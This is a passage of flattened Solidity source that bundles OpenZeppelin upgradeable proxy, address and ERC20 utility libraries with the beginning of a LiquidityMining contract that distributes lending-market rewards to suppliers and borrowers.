_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
_functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(), data);
}
}
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Returns the current admin.
*/
function _getAdmin() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*/
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.
* This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.
*/
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
/**
* @dev Emitted when the beacon is upgraded.
*/
event BeaconUpgraded(address indexed beacon);
/**
* @dev Returns the current beacon.
*/
function _getBeacon() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value;
}
/**
* @dev Stores a new beacon in the EIP1967 beacon slot.
*/
function _setBeacon(address newBeacon) private {
require(
AddressUpgradeable.isContract(newBeacon),
"ERC1967: new beacon is not a contract"
);
require(
AddressUpgradeable.isContract(IBeaconUpgradeable(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract"
);
StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
/*
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) {
require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, "Address: low-level delegate call failed");
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This is the interface that {BeaconProxy} expects of its beacon.
*/
interface IBeaconUpgradeable {
/**
* @dev Must return an address that can be used as a delegate call target.
*
* {BeaconProxy} will check that this address is a contract.
*/
function implementation() external view returns (address);
}
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC1967/ERC1967UpgradeUpgradeable.sol";
import "./Initializable.sol";
/**
* @dev Base contract for building openzeppelin-upgrades compatible implementations for the {ERC1967Proxy}. It includes
* publicly available upgrade functions that are called by the plugin and by the secure upgrade mechanism to verify
* continuation of the upgradability.
*
* The {_authorizeUpgrade} function MUST be overridden to include access restriction to the upgrade mechanism.
*
* _Available since v4.1._
*/
abstract contract UUPSUpgradeable is Initializable, ERC1967UpgradeUpgradeable {
function __UUPSUpgradeable_init() internal initializer {
__ERC1967Upgrade_init_unchained();
__UUPSUpgradeable_init_unchained();
}
function __UUPSUpgradeable_init_unchained() internal initializer {
}
function upgradeTo(address newImplementation) external virtual {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallSecure(newImplementation, bytes(""), false);
}
function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallSecure(newImplementation, data, true);
}
function _authorizeUpgrade(address newImplementation) internal virtual;
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlotUpgradeable {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "./LiquidityMiningStorage.sol";
import "./interfaces/ComptrollerInterface.sol";
import "./interfaces/CTokenInterface.sol";
import "./interfaces/LiquidityMiningInterface.sol";
contract LiquidityMining is Initializable, UUPSUpgradeable, OwnableUpgradeable, LiquidityMiningStorage, LiquidityMiningInterface {
using SafeERC20 for IERC20;
uint internal constant initialIndex = 1e18;
address public constant ethAddress = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
/**
* @notice Emitted when a supplier's reward supply index is updated
*/
event UpdateSupplierRewardIndex(
address indexed rewardToken,
address indexed cToken,
address indexed supplier,
uint rewards,
uint supplyIndex
);
/**
* @notice Emitted when a borrower's reward borrower index is updated
*/
event UpdateBorrowerRewardIndex(
address indexed rewardToken,
address indexed cToken,
address indexed borrower,
uint rewards,
uint borrowIndex
);
/**
* @notice Emitted when a market's reward supply speed is updated
*/
event UpdateSupplyRewardSpeed(
address indexed rewardToken,
address indexed cToken,
uint indexed speed,
uint start,
uint end
);
/**
* @notice Emitted when a market's reward borrow speed is updated
*/
event UpdateBorrowRewardSpeed(
address indexed rewardToken,
address indexed cToken,
uint indexed speed,
uint start,
uint end
);
/**
* @notice Emitted when rewards are transferred to a user
*/
event TransferReward(
address indexed rewardToken,
address indexed account,
uint indexed amount
);
/**
* @notice Emitted when a debtor is updated
*/
event UpdateDebtor(
address indexed account,
bool indexed isDebtor
);
/**
* @notice Initialize the contract with admin and comptroller
*/
function initialize(address _admin, address _comptroller) initializer public {
__Ownable_init();
comptroller = _comptroller;
transferOwnership(_admin);
}
/**
* @notice Contract might receive ETH as one of the LM rewards.
*/
receive() external payable {}
/* User functions */
/**
* @notice Accrue rewards to the market by updating the supply index and calculate rewards accrued by suppliers
* @param cToken The market whose supply index to update
* @param suppliers The related suppliers
*/
function updateSupplyIndex(address cToken, address[] memory suppliers) external override {
// Distribute the rewards right away.
updateSupplyIndexInternal(rewardTokens, cToken, suppliers, true);
}
/**
* @notice Accrue rewards to the market by updating the borrow index and calculate rewards accrued by borrowers
* @param cToken The market whose borrow index to update
* @param borrowers The related borrowers
*/
function updateBorrowIndex(address cToken, address[] memory borrowers) external override {
// Distribute the rewards right away.
updateBorrowIndexInternal(rewardTokens, cToken, borrowers, true);
}
/**
* @notice Return the current block timestamp.
* @return The current block timestamp
*/
function getBlockTimestamp() public virtual view returns (uint) {
return block.timestamp;
}
/**
* @notice Return the reward token list.
* @return The list of reward token addresses
*/
function getRewardTokenList() external view returns (address[] memory) {
return rewardTokens;
}
/**
* @notice Claim all the rewards accrued by holder in all markets
* @param holder The address to claim rewards for
*/
function claimAllRewards(address holder) public {
address[] memory holders = new address[](1);
holders[0] = holder;
address[] memory allMarkets = ComptrollerInterface(comptroller).getAllMarkets();
return claimRewards(holders, allMarkets, rewardTokens, true, true);
}
/**
* @notice Claim the rewards accrued by the holders
* @param holders The addresses to claim rewards for
* @param cTokens The list of markets to claim rewards in
* @param rewards The list of reward tokens to claim
* @param borrowers Whether or not to claim rewards earned by borrowing
* @param suppliers Whether or not to claim rewards earned by supplying
*/
function claimRewards(address[] memory holders, address[] memory cTokens, address[] memory rewards, bool borrowers, bool suppliers) public {
for (uint i = 0; i < cTokens.length; i++) {
address cToken = cTokens[i];
(bool isListed, , ) = ComptrollerInterface(comptroller).markets(cToken);
require(isListed, "market must be listed");
// Same reward generated from multiple markets could aggregate and distribute once later for gas consumption.
if (borrowers) {
updateBorrowIndexInternal(rewards, cToken, holders, false);
}
if (suppliers) {
updateSupplyIndexInternal(rewards, cToken, holders, false);
}
}
// Distribute the rewards.
for (uint i = 0; i < rewards.length; i++) {
for (uint j = 0; j < holders.length; j++) {
address rewardToken = rewards[i];
address holder = holders[j];
rewardAccrued[rewardToken][holder] = transferReward(rewardToken, holder, rewardAccrued[rewardToken][holder]);
}
}
}
/**
* @notice Update accounts to be debtors or not. Debtors couldn't claim rewards until their bad debts are repaid.
* @param accounts The list of accounts to be updated
*/
function updateDebtors(address[] memory accounts) external {
for (uint i = 0; i < accounts.length; i++) {
address account = accounts[i];
(uint err, , uint shortfall) = ComptrollerInterface(comptroller).getAccountLiquidity(account);
require(err == 0, "failed to get account liquidity from comptroller");
if (shortfall > 0 && !debtors[account]) {
debtors[account] = true;
emit UpdateDebtor(account, true);
} else if (shortfall == 0 && debtors[account]) {
debtors[account] = false;
emit UpdateDebtor(account, false);
}
}
}
/* Admin functions */
/**
* @notice Add new reward token. Revert if the reward token has been added
* @param rewardToken The new reward token
*/
function _addRewardToken(address rewardToken) external onlyOwner {
require(!rewardTokensMap[rewardToken], "reward token has been added");
rewardTokensMap[rewardToken] = true;
rewardTokens.push(rewardToken);
}
/**
* @notice Set cTokens reward supply speeds
* @param rewardToken The reward token
* @param cTokens The addresses of cTokens
* @param speeds The list of reward speeds
* @param starts The list of start timestamps
* @param ends The list of end timestamps
*/
function _setRewardSupplySpeeds(address rewardToken, address[] memory cTokens, uint[] memory speeds, uint[] memory starts, uint[] memory ends) external onlyOwner {
_setRewardSpeeds(rewardToken, cTokens, speeds, starts, ends, true);
}
/**
* @notice Set cTokens reward borrow speeds
* @param rewardToken The reward token
* @param cTokens The addresses of cTokens
* @param speeds The list of reward speeds
* @param starts The list of start timestamps
* @param ends The list of end timestamps
*/
function _setRewardBorrowSpeeds(address rewardToken, address[] memory cTokens, uint[] memory speeds, uint[] memory starts, uint[] memory ends) external onlyOwner {
_setRewardSpeeds(rewardToken, cTokens, speeds, starts, ends, false);
}
/* Internal functions */
/**
* @dev _authorizeUpgrade is used by UUPSUpgradeable to determine if it's allowed to upgrade a proxy implementation.
* @param newImplementation The new implementation
*
* Ref: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/proxy/utils/UUPSUpgradeable.sol
*/
function _authorizeUpgrade(address newImplementation) internal override onlyOwner {}
/**
* @notice Given the reward token list, accrue rewards to the market by updating the supply index and calculate rewards accrued by suppliers
* @param rewards The list of rewards to update
* @param cToken The market whose supply index to update
* @param suppliers The related suppliers
* @param distribute Distribute the reward or not
*/
function updateSupplyIndexInternal(address[] memory rewards, address cToken, address[] memory suppliers, bool distribute) internal {
for (uint i = 0; i < rewards.length; i++) {
require(rewardTokensMap[rewards[i]], "reward token not support");
updateGlobalSupplyIndex(rewards[i], cToken);
for (uint j = 0; j < suppliers.length; j++) {
updateUserSupplyIndex(rewards[i], cToken, suppliers[j], distribute);
}
}
}
/**
* @notice Given the reward token list, accrue rewards to the market by updating the borrow index and calculate rewards accrued by borrowers
* @param rewards The list of rewards to update
* @param cToken The market whose borrow index to update
* @param borrowers The related borrowers
* @param distribute Distribute the reward or not
*/
function updateBorrowIndexInternal(address[] memory rewards, address cToken, address[] memory borrowers, bool distribute) internal {
for (uint i = 0; i < rewards.length; i++) {
require(rewardTokensMap[rewards[i]], "reward token not support");
